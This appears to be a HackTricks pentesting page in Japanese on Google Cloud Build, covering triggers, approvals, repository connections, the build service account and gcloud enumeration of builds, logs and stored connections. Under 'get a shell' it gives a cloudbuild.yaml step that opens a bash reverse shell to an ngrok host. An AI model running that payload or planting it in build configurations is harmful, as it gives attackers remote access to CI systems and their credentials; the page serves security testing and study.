GCP - Cloud Build Enum

Support HackTricks

基本情報

Google Cloud Buildは、ソフトウェアのビルドとリリースプロセスを自動化するマネージドCI/CDプラットフォームであり、ソースコードリポジトリと統合し、幅広いプログラミング言語をサポートします。開発者がコードを自動的にビルド、テスト、デプロイできるようにし、ビルドステップやワークフローをカスタマイズする柔軟性を提供します。

各Cloud Build Triggerは、Cloud Repositoryに関連しているか、外部リポジトリ(Github、Bitbucket、Gitlab)に直接接続されています。

リポジトリがダウンロードされるときにhttps://source.cloud.google.com/ URLを介してアクセスされ、クライアントがGithubにアクセスしないため、ここからまたはCloud RepositoriesからGithub/Bitbucketトークンを盗む方法は見つかりませんでした。

イベント

Cloud Buildは以下の場合にトリガーされます:

  • ブランチへのプッシュ: ブランチを指定

  • 新しいタグのプッシュ: タグを指定

  • プルリクエスト: PRを受け取るブランチを指定

  • 手動呼び出し

  • Pub/Subメッセージ: トピックを指定

  • Webhookイベント: HTTPS URLを公開し、リクエストはシークレットで認証される必要があります

実行

3つのオプションがあります:

  • 実行するコマンドを指定するyaml/json。通常は:/cloudbuild.yaml

  • WebコンソールおよびCLIで「インライン」で指定できる唯一のもの

  • 最も一般的なオプション

  • 認証されていないアクセスに関連

  • ビルドするためのDockerfile

  • ビルドするためのBuildpack

SA権限

Service Accountはcloud-platformスコープを持っているため、すべての特権を使用できます。 SAが指定されていない場合(例えばsubmitを行うとき)、デフォルトのSA <proj-number>@cloudbuild.gserviceaccount.com使用されます。

デフォルトでは権限は与えられていませんが、簡単に権限を付与できます:

承認

Cloud Buildを設定してビルド実行に承認を要求することができます(デフォルトでは無効)。

PR承認

トリガーがPRの場合、誰でも公開リポジトリにPRを行うことができるため任意のPRでトリガーの実行を許可するのは非常に危険です。したがって、デフォルトでは、実行は所有者およびコラボレーターに対してのみ自動的に行われ、他のユーザーのPRでトリガーを実行するには、所有者またはコラボレーターが/gcbrunとコメントする必要があります。

接続とリポジトリ

接続は以下を介して作成できます:

  • GitHub: OAuthプロンプトが表示され、Githubトークンを取得するための権限を要求し、Secret Manager内に保存されます。

  • GitHub Enterprise: GithubAppのインストールを要求します。GitHub Enterpriseホストからの認証トークンが作成され、このプロジェクトのSecret Managerのシークレットとして保存されます。

  • GitLab / Enterprise: APIアクセス トークンとRead APIアクセス トークンを提供する必要があり、これらはSecret Managerに保存されます。

接続が生成されると、Githubアカウントがアクセスできるリポジトリをリンクするために使用できます。

このオプションはボタンを介して利用可能です:

この方法で接続されたリポジトリは、2nd generationを使用するトリガーでのみ利用可能です。

リポジトリの接続

これは**connectionとは異なります。これはGithubまたはBitbucketリポジトリへのアクセスを取得するための**異なる方法を提供しますが、接続オブジェクトを生成するのではなく、リポジトリオブジェクト(1st generation)を生成します。

このオプションはボタンを介して利用可能です:

ストレージ

Cloud Buildは、トリガーのファイルを保存するために新しいストレージを生成することがあります。例えば、GCPが提供する例では:

git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global

A Storage bucket called security-devbox_cloudbuild is created to store a .tgz with the files to be used.

シェルを取得

steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY
cloud build 内に gcloud をインストールする:
# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh

Enumeration

ビルド構成とログに機密情報が含まれている可能性があります。

# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done

特権昇格

GCP - Cloudbuild Privesc

認証されていないアクセス

GCP - Cloud Build Unauthenticated Enum

ポストエクスプロイト

GCP - Cloud Build Post Exploitation
HackTricksをサポートする

Last updated